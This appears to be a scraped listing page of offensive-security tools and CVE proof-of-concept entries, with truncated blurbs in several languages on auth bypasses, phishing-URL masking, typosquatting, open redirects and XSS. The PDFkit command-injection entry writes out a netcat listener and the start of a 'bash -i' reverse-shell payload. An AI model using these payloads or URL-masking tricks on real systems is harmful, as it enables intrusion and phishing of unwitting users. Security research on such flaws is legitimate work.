CVE-2020-13933

CVE-2020-13933 靶场 shiro 1.6.0 身份认证绕过漏洞 PoC http://127.0.0.1:8080/res/%3bpoc 靶场环境 代码说明 ShiroConfig.java： 权限配置， 当请求 /res/ 资源时， 302 跳转到登陆页面进行身份认证 NameController.java： · /res/name： 请求名为 name 的的资源（触发身份认证） · /res/： 不请求任何资源（不触发身份认证） 靶场验证 不在请求路由中指定资源名称时，不触发身份验证，也无资源返回： http://127.0.0.1:8080/res/...

OnionSearch

OnionSearch 👋 안녕하세요! 전문적인 문의나 협업이 필요하시면 다음 주소로 연락해주세요: [email protected] 📧 가급적이면 전문 이메일을 사용해주세요. 간결하고 친절하게, 모든 내용은 영어로 부탁드립니다! BTC 기부처 : 1FHDM49QfZX6pJmhjLE5tB2K6CaTLMZpXZ 교육 목적으로만 사용하세요 OnionSearch는 다양한 ".onion" 검색 엔진에서 URL을 스크래핑하는 Python3 스크립트입니다. 데모 💡 선행 조건 Python 3 📚 현재 지원하는 검색 엔진 ahmia...

phpinfo-files-leaks

バッジ ライセンス MIT インストール 1. Python3 と pip をインストールします 手順はこちら これが分からない場合は、このツールを使うべきではありません pip でインストール root@kitploit: pip install phpinfo-file-leaks 確認するには以下のコマンドを実行します phpinfo-file-leaks -h 設定 2. 脆弱性検出の即時通知を受け取るために Telegram API と統合しました。 Telegram 通知 root@kitploit: phpinfo-file-leaks --chatid Telegram...

maskphish

👨‍💻️ 저자 : jaykali 🔥 MaskPhish MaskPhish는 피싱 도구가 아닙니다. 이는 "URL 제작 기술"의 개념 증명일 뿐입니다. 피싱 URL을 일반적인 URLgoogle.com 또는 facebook.com처럼 보이도록 숨기는 간단한 Bash 스크립트입니다. URL을 정당하게 보이도록 하기 위해 적절한 크레딧과 함께 피싱 도구에 통합할 수 있습니다. ⚖️ 법적 고지: 교육 목적으로만 사용하세요 사전 상호 동의 없이 대상을 공격하기 위해 MaskPhish를 사용하는 것은 불법입니다. 최종 사용자는 모든 해당 지역,...

maskphish

👨‍💻️ Author : jaykali 🔥 MaskPhish MaskPhish is not any Phishing tool. It's just a proof of concept of "URL Making Technology". It is a simple Bash Script to hide phishing URL under a normal looking URL google.com or facebook.com. It can be integrated into Phishing tools with proper credits to look...

urlcrazy

😜⌨ URLCrazy URLCrazy는 도메인 오타나 변형을 생성 및 테스트하여 타이포 스쿼팅Typo Squatting, URL 하이재킹, 피싱, 기업 스파이 활동을 탐지하거나 수행하는 OSINT 도구입니다. 홈페이지: https://github.com/urbanadventurer/urlcrazy 🌟 사용 사례 도메인 이름 오타로 이익을 얻는 타이포 스쿼터 탐지 인기 있는 오타를 등록하여 브랜드 보호 다른 도메인으로 향하는 트래픽을 받을 오타 도메인 이름 식별 침투 테스트 중 피싱 공격 수행 ⭐ 기능 17가지 유형의 도메인 변...

webpwn3r

webpwn3r This project is not maintained for years, and was written when I started learning Python, but still people likes it :D. it only supports python2.7 WebPwn3r - Web Applications Security Scanner. By Ebrahim Hegazy - @Zigoo0 Thanks: @lnxg33k, @dia2diab @Aelhemily, @okamalo Please send all yo...

Oralyzer

소개 Oralyzer는 웹사이트의 Open Redirection 취약점을 탐지하는 간단한 파이썬 스크립트입니다. 입력으로 제공된 URL을 퍼징하여 작동합니다. 특징 Oralyzer는 다음 유형의 Open Redirect 취약점을 식별할 수 있습니다: 헤더 기반 자바스크립트 기반 메타 태그 기반 또한, Oralyzer는 web.archive.org에서 URL을 가져오는 자체 모듈을 가지고 있으며, 특정 파라미터를 포함한 URL들을 분리합니다. 이러한 파라미터는 취약할 가능성이 더 높습니다. 설치 root@kitploit: $ g...

CVE-2020-14882

CVE-2020–14882 Weblogic 認証バイパス RCE CVE-2020–14882 によるパッチバイパス private static final String IllegalUrl = new String";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", ""; リスト root@kitploit: %252E%252E %2E%2E .. %3E %3C ; 小文字 root@kitploit: "%252E%252E%252F".lower '%252e%252e%252f' %252E%252E%252F から...

CVE-2018-1305

Apache Tomcat 보안 우회 취약점 최근 Apache는 Apache Tomcat 7, 8, 9의 여러 버전에 보안 우회 취약점이 존재한다는 보안 공고를 발표했습니다. 공격자는 이 문제를 이용하여 일부 보안 제한을 우회하고 승인되지 않은 작업을 수행할 수 있으며, 이는 추가 공격으로 이어질 수 있습니다. Apache Tomcat 서블릿 주석으로 정의된 보안 제약 조건은 서블릿이 로드된 후에만 한 번 적용됩니다. 이러한 방식으로 정의된 보안 제약 조건은 URL 패턴 및 해당 지점 아래의 모든 URL에 적용되므로 서블릿이...

endext

EndExt EndExt는 JS 파일에서 가능한 모든 엔드포인트를 추출하는 .go 도구입니다. 아이디어 예를 들어 waybackurls에서 모든 JS 파일을 크롤링하거나, 대상 웹사이트의 홈 소스 페이지에서 JS 파일 URL을 수집한 후.. 웹사이트가 API 시스템을 사용 중이고 JS 파일에서 모든 엔드포인트를 찾고 싶다면, 여기저기 숨겨진 무언가를 발견할 수 있기 때문입니다. 그래서 이 도구를 만들었습니다. JS 파일 URL을 입력하면, 제출된 JS 파일에서 가능한 모든 엔드포인트나 URL 또는 경로를 잡아냅니다. 설치 Go...

certbot

.. This file contains a series of comments that are used to include sections of this README in other files. Do not modify these comments unless you know what you are doing. tag:intro-begin |build-status| .. |build-status| image::...

xurlfind3r

xurlfind3r xurlfind3r は、指定されたドメインのURLをシンプルかつ効率的に発見するためのコマンドラインユーティリティです。様々なパッシブソースから情報を収集することで動作します。つまり、ターゲットに直接アクセスするのではなく、既に公開されているデータを収集します。この特性により、xurlfind3r はセキュリティ研究者、ITプロフェッショナル、そしてドメインに関連するURLについて洞察を得たいすべての人にとって強力なツールとなります。 リソース 機能 インストール リリースバイナリのインストール（Goがインストールされていない場合）...

CVE-2023-36845

Juniper CVE:2023-36845 の自動化 Asbawy 作 → Ak1t4 修正 概要 CVE-2023-36845 の脆弱性をチェックするための bash スクリプトです。このスクリプトは、Juniper URL アドレスのリストを処理し、各アドレスにリクエストを送信して、レスポンスに基づいてシステムが脆弱かどうかを判断します。 使用方法 スクリプトを使用するには、コマンドラインから次のオプションを指定して実行します: ./exploit.sh -f urls.txt 作者: Asbawy...

uddup

UDdup - URLs Deduplication Tool The tool gets a list of URLs, and removes "duplicate" pages in the sense of URL patterns that are probably repetitive and points to the same web template. For example: root@kitploit: https://www.example.com/product/123 https://www.example.com/product/456...

uddup

UDdup - URL 중복 제거 도구 이 도구는 URL 목록을 가져와서, 동일한 웹 템플릿을 가리키는 중복될 가능성이 높은 URL 패턴즉, 반복적인 패턴을 가진 "중복" 페이지를 제거합니다. 예를 들어: root@kitploit: https://www.example.com/product/123 https://www.example.com/product/456 https://www.example.com/product/123?isprod=false https://www.example.com/product/222?isdebug=tru...

socgholish_finder

SocGholish Finder WebサイトをスキャンしてSocGholishインジェクションを検出するシンプルなスクリプトです。インジェクションが見つかった場合は検出して表示し、シャドーイングURLドメインの難読化を解除して表示します。 root@kitploit: usage: finder.py -h -url URL -ua USERAGENT -f FILENAME -p PROXY -s SocGholish finder options: -h, --help show this help message and exit -url URL URL to check -...

PDFkit-CMD-Injection

PDFkit-命令注入 CVE-2022-25765 详情 描述 pdfkit 包从 0.0.0 版本起存在命令注入漏洞，原因是 URL 未被正确清理。 PoC 启动 HTTP 服务器 root@kitploit: 1- python3 -m http.server 80 启动 netcat 监听器 root@kitploit: 2- nc -lnvp 'Target Port' 发起请求 root@kitploit: 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

CVE-2025-55182-exploit

CVE-2025-55182-exploit TL;DR これは法的なペネトレーションテスト目的のみに使用してください。違法行為には関与しないでください。 使い方 python3 exploit.py デモ動画...

CVE-2026-19794

CVE-2026-19794 WP-Stats = 2.56 - 未認証の格納型クロスサイトスクリプティング プラグインURL https://wordpress.org/plugins/wp-stats/ 説明 statspage の statsauthor GET パラメータにおける未認証の反射型XSS。サニタイズフィルタ striptags が urldecode より前に適用されるため、攻撃者はペイロードを二重URLエンコードすることでこれをバイパスできる。 POC 1. WP-Stats プラグインをインストールして有効化する 2. pagestats...